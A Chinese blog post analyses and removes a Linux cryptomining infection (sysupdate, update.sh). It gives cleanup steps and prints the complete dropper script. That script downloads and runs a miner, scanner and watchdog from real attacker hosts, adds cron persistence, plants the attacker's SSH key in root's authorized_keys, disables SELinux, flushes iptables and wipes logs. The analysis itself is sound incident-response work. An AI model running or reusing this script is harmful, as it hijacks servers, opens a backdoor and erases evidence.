Linux挖矿病毒的清除与分析

深碍√TFBOYSˉ_ 2023-06-07 10:40 9阅读 0赞

## 清除过程 ##

### 确定病因 ###

这个病毒还不是算很变态，很多挖矿病毒，使用top命令都看不到挖矿程序的进程。

基本可以确定这个占据绝大部分cpu资源的进程sysupdate，就是挖矿程序了，我们需要先找到他。

使用命令：

ps -aux | grep sysupdate

查看病毒的PID号。

为了获取绝对路径，使用：

ls -l /proc/{pid号}/exe

发现sysupdate的绝对路径在/etc/sysupdate。

下载下来，上传到[VirusTotal][]。

[![image.png][]][image.png 1]

如图所示，就是他，挖矿病毒没跑了。

### 开始清除 ###

首先干掉进程：kill -9 \{pid号\}

直接rm -f sysupdate会提示类似：

rm: cannot remove 'sysupdate ': Operation not permitted

基于经验，应该是病毒使用了chattr +i的命令。我们只要先执行chattr -i sysupdate，然后就可以正常删除了。

### 复发 ###

然后..很快就又被创建出来了。应该是有守护进程什么的。

而且如果我们简单分析一下sysupdate，其实他并不是病毒，他只是个XMR挖矿程序。

(懂我意思吧，我们必须得找到他爸爸)。

分析的方法，可以通过findStr、IDA等工具提串或者..运行一下就明白了。下图是我虚拟机运行的截图。

[![image.png][image.png 2]][image.png_image.png 2]

好，我知道大家都不关心这个。

### 定时任务 ###

我是先去看了下日志..发现什么都没有Orz，应该是被清了。

那还是先来检查下定时任务吧：

crontab -l或者cat /var/spool/cron/root

还可以去查看定时任务的日志。

more /var/log/cron log

太多的话，可以在后面加上| grep -v \{要排除的关键字\}来排除无用信息。

[![image.png][image.png 3]][image.png_image.png 3]

### update.sh分析 ###

找到了这个定时执行的源头，我们来简单分析一下。update.sh的内容和相关样本在文末有提供下载。

在/etc下下载了config.json（挖矿配置）、sysupdate（XMR挖矿软件）、update.sh（本脚本）、networkservice(scanner 扫描并入侵其他的主机)、sysguard(watchdog 用于监控并保证病毒的正常运行以及更新)并保证他们以root权限运行。

[![image.png][image.png 4]][image.png_image.png 4]

干掉别的挖矿病毒（见kill\_miner\_proc函数）。

创建/root/.ssh/authorized\_keys，添加病毒作者自己的公钥，保证其可以使用SSH登录到服务器，算是个后门吧。

[![image.png][image.png 5]][image.png_image.png 5]

然后就是添加定时任务，为文件添加chattr +i，修改IPTABLES，清楚日志，关闭SELinux等等。

### 修复 ###

1.rm /var/spool/cron/root或者 crontab -r删除定时任务。

2.kill命令将相关进程干掉，用chattr -i和rm命令，将上述/etc下的文件全部删除。

3./root/.ssh/authorized\_keys也删掉或者修复。

至于IPTABLES、SELinux的恢复，就看大家自己的需求了。

附上定时脚本

#!/bin/sh
    setenforce 0 2>dev/null
    echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null
    sync && echo 3 >/proc/sys/vm/drop_caches
    crondir='/var/spool/cron/'"$USER"
    cont=`cat ${crondir}`
    ssht=`cat /root/.ssh/authorized_keys`
    echo 1 > /etc/sysupdates
    rtdir="/etc/sysupdates"
    bbdir="/usr/bin/curl"
    bbdira="/usr/bin/cur"
    ccdir="/usr/bin/wget"
    ccdira="/usr/bin/wge"
    mv /usr/bin/wget /usr/bin/get
    mv /usr/bin/xget /usr/bin/get
    mv /usr/bin/get /usr/bin/wge
    mv /usr/bin/curl /usr/bin/url
    mv /usr/bin/xurl /usr/bin/url
    mv /usr/bin/url /usr/bin/cur
    miner_url="https://de.gsearch.com.de/api/sysupdate"
    miner_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/sysupdate"
    miner_size="854364"
    sh_url="https://de.gsearch.com.de/api/update.sh"
    sh_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/update.sh"
    config_url="https://de.gsearch.com.de/api/config.json"
    config_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/config.json"
    config_size="4954"
    scan_url="https://de.gsearch.com.de/api/networkservice"
    scan_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/networkservice"
    scan_size="2584072"
    watchdog_url="https://de.gsearch.com.de/api/sysguard"
    watchdog_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/sysguard"
    watchdog_size="1929480"
    
    kill_miner_proc()
    {
        ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
        ps auxf|grep -v grep|grep "pool.t00ls.ru"|awk '{print $2}'|xargs kill -9
        ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
        ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9
        ps auxf|grep -v grep|grep "zhuabcn@yahoo.com"|awk '{print $2}'|xargs kill -9
        ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9
        ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
        ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9
        ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9
        ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
        ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9
        ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
        ps auxf|grep xiaoyao| awk '{print $2}'|xargs kill -9
        ps auxf|grep xiaoxue| awk '{print $2}'|xargs kill -9
        ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "\-c"|xargs kill -9
        ps ax|grep -o './[0-9]* -c'| xargs pkill -f
        pkill -f biosetjenkins
        pkill -f Loopback
        pkill -f apaceha
        pkill -f cryptonight
        pkill -f stratum
        pkill -f mixnerdx
        pkill -f performedl
        pkill -f JnKihGjn
        pkill -f irqba2anc1
        pkill -f irqba5xnc1
        pkill -f irqbnc1
        pkill -f ir29xc1
        pkill -f conns
        pkill -f irqbalance
        pkill -f crypto-pool
        pkill -f minexmr
        pkill -f XJnRj
        pkill -f mgwsl
        pkill -f pythno
        pkill -f jweri
        pkill -f lx26
        pkill -f NXLAi
        pkill -f BI5zj
        pkill -f askdljlqw
        pkill -f minerd
        pkill -f minergate
        pkill -f Guard.sh
        pkill -f ysaydh
        pkill -f bonns
        pkill -f donns
        pkill -f kxjd
        pkill -f Duck.sh
        pkill -f bonn.sh
        pkill -f conn.sh
        pkill -f kworker34
        pkill -f kw.sh
        pkill -f pro.sh
        pkill -f polkitd
        pkill -f acpid
        pkill -f icb5o
        pkill -f nopxi
        pkill -f irqbalanc1
        pkill -f minerd
        pkill -f i586
        pkill -f gddr
        pkill -f mstxmr
        pkill -f ddg.2011
        pkill -f wnTKYg
        pkill -f deamon
        pkill -f disk_genius
        pkill -f sourplum
        pkill -f polkitd
        pkill -f nanoWatch
        pkill -f zigw
        pkill -f devtool
        pkill -f systemctI
        pkill -f WmiPrwSe
    	    pkill -f sysguard
    		    pkill -f sysupdate
    			    pkill -f networkservice
        crontab -r
        rm -rf /var/spool/cron/*
    }
    downloads()
    {
        if [ -f "/usr/bin/curl" ]
        then 
    	echo $1,$2
            http_code=`curl -I -m 10 -o /dev/null -s -w %{http_code} $1`
            if [ "$http_code" -eq "200" ]
            then
                curl --connect-timeout 10 --retry 100 $1 > $2
            elif [ "$http_code" -eq "405" ]
            then
                curl --connect-timeout 10 --retry 100 $1 > $2
            else
                curl --connect-timeout 10 --retry 100 $3 > $2
            fi
        elif [ -f "/usr/bin/cur" ]
        then
            http_code = `cur -I -m 10 -o /dev/null -s -w %{http_code} $1`
            if [ "$http_code" -eq "200" ]
            then
                cur --connect-timeout 10 --retry 100 $1 > $2
            elif [ "$http_code" -eq "405" ]
            then
                cur --connect-timeout 10 --retry 100 $1 > $2
            else
                cur --connect-timeout 10 --retry 100 $3 > $2
            fi
        elif [ -f "/usr/bin/wget" ]
        then
            wget --timeout=10 --tries=100 -O $2 $1
            if [ $? -ne 0 ]
    	then
    		wget --timeout=10 --tries=100 -O $2 $3
            fi
        elif [ -f "/usr/bin/wge" ]
        then
            wge --timeout=10 --tries=100 -O $2 $1
            if [ $? -eq 0 ]
            then
                wge --timeout=10 --tries=100 -O $2 $3
            fi
        fi
    }
    
    kill_sus_proc()
    {
        ps axf -o "pid"|while read procid
        do
                ls -l /proc/$procid/exe | grep /tmp
                if [ $? -ne 1 ]
                then
                        cat /proc/$procid/cmdline| grep -a -E "sysguard|update.sh|sysupdate|networkservice"
                        if [ $? -ne 0 ]
                        then
                                kill -9 $procid
                        else
                                echo "don't kill"
                        fi
                fi
        done
        ps axf -o "pid %cpu" | awk '{if($2>=40.0) print $1}' | while read procid
        do
                cat /proc/$procid/cmdline| grep -a -E "sysguard|update.sh|sysupdate|networkservice"
                if [ $? -ne 0 ]
                then
                        kill -9 $procid
                else
                        echo "don't kill"
                fi
        done
    }
    
    kill_miner_proc
    kill_sus_proc
    
    if [ -f "$rtdir" ]
    then
            echo "i am root"
            echo "goto 1" >> /etc/sysupdate
            chattr -i /etc/sysupdate*
            chattr -i /etc/config.json*
            chattr -i /etc/update.sh*
            chattr -i /root/.ssh/authorized_keys*
    	    chattr -i /etc/networkservice
    	if [ ! -f "/usr/bin/crontab" ]
    		then 
    			echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1" >> ${crondir}
    		else
    			[[ $cont =~ "update.sh" ]] || (crontab -l ; echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1") | crontab -
    	fi
            chmod 700 /root/.ssh/
            echo >> /root/.ssh/authorized_keys
            chmod 600 root/.ssh/authorized_keys
            echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/oeXUWDNW1MrWiQNvKeSeSSdZ6NaYVqfSJgXUSgiQbktTo8Fhv43R9FWDvVhSrwPoFBz9SAfgO06jc0M2kGVNS9J2sLJdUB9u1KxY5IOzqG4QTgZ6LP2UUWLG7TGMpkbK7z6G8HAZx7u3l5+Vc82dKtI0zb/ohYSBb7pK/2QFeVa22L+4IDrEXmlv3mOvyH5DwCh3HcHjtDPrAhFqGVyFZBsRZbQVlrPfsxXH2bOLc1PMrK1oG8dyk8gY8m4iZfr9ZDGxs4gAqdWtBQNIN8cvz4SI+Jv9fvayMH7f+Kl2yXiHN5oD9BVTkdIWX root@u17" >> /root/.ssh/authorized_keys
            
    	
            cfg="/etc/config.json"
            file="/etc/sysupdate"
    
    	if [-f "/etc/config.json" ]
    	then
    		filesize_config=`ls -l /etc/config.json | awk '{ print $5 }'`
    		if [ "$filesize_config" -ne "$config_size" ]	
    		then
                pkill -f sysupdate
    			rm /etc/config.json
                downloads $config_url /etc/config.json $config_url_backup
    		else
    			echo "no need download"
    		fi
    	else
    		downloads $config_url /etc/config.json $config_url_backup
        fi
        
        if [ -f "/etc/sysupdate" ]
        then
                filesize1=`ls -l /etc/sysupdate | awk '{ print $5 }'`
                if [ "$filesize1" -ne "$miner_size" ] 
                then
                    pkill -f sysupdate
                    rm /etc/sysupdate
                    downloads $miner_url /etc/sysupdate $miner_url_backup
                else
                    echo "not need download"
                fi
        else
                downloads $miner_url /etc/sysupdate $miner_url_backup
        fi
        
        if [ -f "/etc/sysguard" ]
        then
                filesize1=`ls -l /etc/sysguard | awk '{ print $5 }'`
                if [ "$filesize1" -ne "$watchdog_size" ] 
                then
                    pkill -f sysguard
                    rm /etc/sysguard
                    downloads $watchdog_url /etc/sysguard $watchdog_url_backup
                else
                    echo "not need download"
                fi
        else
                downloads $watchdog_url /etc/sysguard $watchdog_url_backup
        fi
    
        downloads $sh_url /etc/update.sh $sh_url_backup
    
        if [ -f "/etc/networkservice" ]
        then
                filesize2=`ls -l /etc/networkservice | awk '{ print $5 }'`
                if [ "$filesize2" -ne "$scan_size" ] 
                then
                    pkill -f networkservice
                    rm /etc/networkservice
                    downloads  $scan_url /etc/networkservice $scan_url_backup
                else
                    echo "not need download"
                fi
        else
                downloads $scan_url /etc/networkservice $scan_url_backup
        fi
    
        chmod 777 /etc/sysupdate
        ps -fe|grep sysupdate |grep -v grep
        if [ $? -ne 0 ]
        then
                    cd /etc
                    echo "not root runing"
                    sleep 5s
                    ./sysupdate &
        else
                    echo "root runing....."
        fi
    	chmod 777 /etc/networkservice
        ps -fe|grep networkservice |grep -v grep
        if [ $? -ne 0 ]
        then
                    cd /etc
                    echo "not roots runing"
                    sleep 5s
                    ./networkservice &
        else
                    echo "roots runing....."
        fi
        chmod 777 /etc/sysguard
        ps -fe|grep sysguard |grep -v grep
            if [ $? -ne 0 ]
                then
                    echo "not tmps runing"
                    cd /etc
                    chmod 777 sysguard
                    sleep 5s
                    ./sysguard &
                else
                    echo "roots runing....."
            fi
    
    
        chmod 777 /etc/sysupdate
        chattr +i /etc/sysupdate
    	chmod 777 /etc/networkservice
    	chattr +i /etc/networkservice
        chmod 777 /etc/config.json
        chattr +i /etc/config.json
        chmod 777 /etc/update.sh
        chattr +i /etc/update.sh
        chmod 777 /root/.ssh/authorized_keys
        chattr +i /root/.ssh/authorized_keys
    else
        echo "goto 1" > /tmp/sysupdates
        chattr -i /tmp/sysupdate*
    	chattr -i /tmp/networkservice
        chattr -i /tmp/config.json*
        chattr -i /tmp/update.sh*
            
        if [ ! -f "/usr/bin/crontab" ]
    	then 
    			echo "*/30 * * * * sh /tmp/update.sh >/dev/null 2>&1" >> ${crondir}
    	else
    			[[ $cont =~ "update.sh" ]] || (crontab -l ; echo "*/30 * * * * sh /tmp/update.sh >/dev/null 2>&1") | crontab -
    	fi
    
    	if [ -f "/tmp/config.json" ]
    	then
    		filesize1=`ls -l /tmp/config.json | awk '{ print $5 }'`
    		if [ "$filesize1" -ne "$config_size" ]
    		then
                pkill -f sysupdate
    			rm /tmp/config.json
                downloads  $config_url /tmp/config.json $config_url_backup
    		else
    			echo "no need download"
    		fi
    	else
    		downloads $config_url /tmp/config.json $config_url_backup
    	fi
    
        if [ -f "/tmp/sysupdate" ]
        then    
            filesize1=`ls -l /tmp/sysupdate | awk '{ print $5 }'`
            if [ "$filesize1" -ne "$miner_size" ] 
            then
                    pkill -f sysupdate
                    rm /tmp/sysupdate
                    downloads $miner_url /tmp/sysupdate $miner_url_backup
            else
                    echo "no need download"
            fi
        else
                downloads $miner_url /tmp/sysupdate $miner_url_backup
        fi
    
        if [ -f "/tmp/sysguard" ]
        then
                filesize1=`ls -l /tmp/sysguard | awk '{ print $5 }'`
                if [ "$filesize1" -ne "$watchdog_size" ] 
                then
                    pkill -f sysguard
                    rm /tmp/sysguard
                    downloads $watchdog_url /tmp/sysguard $watchdog_url_backup
                else
                    echo "not need download"
                fi
        else
                downloads $watchdog_url /tmp/sysguard $watchdog_url_backup
        fi
    
        echo "i am here"
        downloads $sh_url /tmp/update.sh $sh_url_backup
    
        if [ -f "/tmp/networkservice" ]
        then 
            filesize2=`ls -l /tmp/networkservice | awk '{ print $5 }'`
            if [ "$filesize2" -ne "$scan_size" ]  
            then
                    pkill -f networkservice
    	            rm /tmp/networkservice
                    downloads $scan_url /tmp/networkservice $scan_url_backup
            else
                    echo "no need download"
            fi
        else
                downloads $scan_url /tmp/networkservice $scan_url_backup
        fi
    
        ps -fe|grep sysupdate |grep -v grep
            if [ $? -ne 0 ]
                then
                    echo "not tmp runing"
                    cd /tmp
                    chmod 777 sysupdate
                    sleep 5s
                    ./sysupdate &
                else
                    echo "tmp runing....."
            fi
    	ps -fe|grep networkservice |grep -v grep
            if [ $? -ne 0 ]
                then
                    echo "not tmps runing"
                    cd /tmp
                    chmod 777 networkservice
                    sleep 5s
                    ./networkservice &
                else
                    echo "tmps runing....."
            fi
    
        ps -fe|grep sysguard |grep -v grep
            if [ $? -ne 0 ]
                then
                    echo "not tmps runing"
                    cd /tmp
                    chmod 777 sysguard
                    sleep 5s
                    ./sysguard &
                else
                    echo "tmps runing....."
            fi
    
        chmod 777 /tmp/sysupdate
        chattr +i /tmp/sysupdate
    	chmod 777 /tmp/networkservice
    	chattr +i /tmp/networkservice
    	chmod 777 /tmp/sysguard
    	chattr +i /tmp/sysguard
        chmod 777 /tmp/update.sh
        chattr +i /tmp/update.sh
        chmod 777 /tmp/config.json
        chattr +i /tmp/config.json
            
    fi
    iptables -F
    iptables -X
    iptables -A OUTPUT -p tcp --dport 3333 -j DROP
    iptables -A OUTPUT -p tcp --dport 5555 -j DROP
    iptables -A OUTPUT -p tcp --dport 7777 -j DROP
    iptables -A OUTPUT -p tcp --dport 9999 -j DROP
    iptables -I INPUT -s 43.245.222.57 -j DROP
    service iptables reload
    ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
    history -c
    echo > /var/spool/mail/root
    echo > /var/log/wtmp
    echo > /var/log/secure
    echo > /root/.bash_history

[VirusTotal]: https://www.virustotal.com/#/file/815516167d2170997d6674190028f86854984749760600fb95c711f74c98da13/detection
[image.png]: /images/20230601/fc43fff3bce8441894918ec9fcd33940.png
[image.png 1]: https://image.3001.net/images/20190408/1554712458_5cab078abd974.png
[image.png 2]: https://imgconvert.csdnimg.cn/aHR0cHM6Ly9pbWFnZS4zMDAxLm5ldC9pbWFnZXMvMjAxOTA0MDgvMTU1NDcxMjYwMV81Y2FiMDgxOTFjMjI5LnBuZyFzbWFsbA?x-oss-process=image/format,png
[image.png_image.png 2]: /images/20230601/22a95420cebf48fcb811f05c3a6d00da.png
[image.png 3]: https://imgconvert.csdnimg.cn/aHR0cHM6Ly9pbWFnZS4zMDAxLm5ldC9pbWFnZXMvMjAxOTA0MDgvMTU1NDcxMjYzNF81Y2FiMDgzYTM3Y2NjLnBuZyFzbWFsbA?x-oss-process=image/format,png
[image.png_image.png 3]: /images/20230601/a9a0209cc7134112a39b2954d04f2245.png
[image.png 4]: https://imgconvert.csdnimg.cn/aHR0cHM6Ly9pbWFnZS4zMDAxLm5ldC9pbWFnZXMvMjAxOTA0MDgvMTU1NDcxNTY2NF81Y2FiMTQxMGVlMzA1LnBuZyFzbWFsbA?x-oss-process=image/format,png
[image.png_image.png 4]: /images/20230601/f2c217e55d4a496eadc56352115d16a6.png
[image.png 5]: https://imgconvert.csdnimg.cn/aHR0cHM6Ly9pbWFnZS4zMDAxLm5ldC9pbWFnZXMvMjAxOTA0MDgvMTU1NDcxNTY5M181Y2FiMTQyZDg4MzFmLnBuZyFzbWFsbA?x-oss-process=image/format,png
[image.png_image.png 5]: /images/20230601/fcca3d2eb5f8478e839eb7646fbb4631.png